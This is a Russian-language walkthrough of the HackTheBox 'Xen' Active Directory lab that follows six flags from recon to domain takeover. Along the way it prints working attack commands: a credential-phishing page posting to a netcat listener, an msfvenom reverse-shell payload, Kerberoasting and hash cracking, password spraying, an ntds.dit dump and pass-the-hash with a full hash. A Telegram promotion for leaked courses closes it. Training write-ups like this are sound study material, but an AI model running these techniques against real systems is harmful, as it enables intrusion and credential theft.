В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.
Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.
Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Intro
Данный endgame состоит из 6 машин, и содержит 6 флагов.
Так же дается описание и адрес доступного хоста.
Начнем!
Breach flag
Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A xen.htb -p25,80,443
Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб нас встречают простеньким сайтом.
Ничего интересного нет, за исключением ссылки Join the team, указывающей нам адрес электронный почты jointheteam@humongousretail.com.
Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://xen.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx
И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.
Принимаем, и у нас требуют учетные данные.
Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.
smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb
Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).
Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.
И добавим Submit для отправки данных.
Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.
Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.
Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.
Таким образом собираем все учетки.
И теперь заходим на remote.
И нам предлагаю сохранить ICA файл.
Далее я установил расширение для Chromium.
И подключился как pmorgan (VDESKTOP3).
Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.
И сдаем его.
И сохраним собранную информацию.
Deploy flag
Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe
Теперь запустим листенер metasploit.
handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp
Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.
Теперь перечислим все эксплоиты для LPE.
И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.
И используем эксплоит.
Открывается вторая сессия в контексте SYSTEM.
Давайте проверим флаг.
И забираем его.
Вот так легко сдаем еще один флаг. Идем далее.
Ghost flag
Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.
> listeners> uselistener http> set Host 10.14.14.9> set Port 5656> execute> back> launcher powershell http
Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.
И выполним powershell_import.
В окне Empire обнаружим созданный агент.
Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.
Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.
> usemodule situational_awareness/network/powerview/get_domain_controller> run
Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties samaccountname,admincount> run
Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties serviceprincipalname> run
И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода hashcat.
> usemodule credentials/invoke_kerberoast> set OutputFormat Hashcat> run
И получаем хеш пользователя. Теперь переберем с помощью hashcat.
hashcat -m 13100 -a 0 krb.hash rockyou.txt --force
В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант воспользоваться NSA правилами.
Как представлено в репозитории, dive лучший вариант, поэтому используем его вторую версию.
hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2
И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.
> usemodule situational_awareness/network/arpscan> set Range 172.16.249.0-172.16.249.255> run
Так Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.
> usemodule situational_awareness/network/powerview/share_finder> set Server DC.htb.local> run
С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.
Ниже представлена аккумулируемая нами информация.
Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).
run autoroute -s 172.16.249.0/24
Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.
А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).
И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.
proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null
Давайте посмотрим все, что нам доступно на этом ресурсе.
proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null
И мы находим флаг, а также ppk файл. Давайте получим все файлы.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!
При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null
И сдадим флаг.
Camouflage flag
Давайте разберемся с приватным ключем Putty.
Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.
Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации удобно набираемых паролей kwprocessor. Давайте создадим словарь.
./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route
И мы успешно нашли 16-символьный пароль.
john --wordlist=./kwprocessor/key-dict.txt putty.john
Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.
sudo apt install putty-toolsputtygen private.ppk -O private-openssh -o id_rsa
Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.
proxychains nmap -p22 172.16.249.200-205 2>/dev/null
И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.
Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.
Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.
Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.
Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.
И с данным логин мы успешно подключаем по SSH.
Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.
tcpdump -s0 -w r.pcap
Теперь скачаем данный файл.
proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./
И для быстрого поиска учетных данных используем PCredz.
И получаем еще флаг.
Doppelganger flag
Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequestы двух пользователей, в которых есть пароль (один мы уже нашли).
Проверим этот пароль для данного пользователя.
proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null
Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.
proxychains msfconsole 2>/dev/null> use auxiliary/scanner/smb/smb_login> set SMBDomain htb.local> set RHOSTS 172.16.249.200> set USER_FILE ~/tmp/users.txt> set PASS_FILE ~/tmp/passwords.txt> set VERBOSE false> run
И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.
proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null
Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.
proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null
И забираем еще один флаг.
Owned flag
Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.
whoami /all
Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.
proxychains remmina
И нас встречает окно командной строки.
Войдем в контекст diskshadow.
И создадим копию диск Z.
set context persistence nowritersadd volume c: alias ssscreate expose %sss% z:
Проверим, и увидим копию файла ntds.dit.
Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.
reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak
Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.
И загружаем в память.
Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.
Set-SeBackupPrivilegeWhoami /priv | findstr Backup
Отлично, теперь копируем файл.
Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit
А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.
secretsdump.py -ntds ndts.dit -system system.bak LOCAL
И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.
А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.
proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null
Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.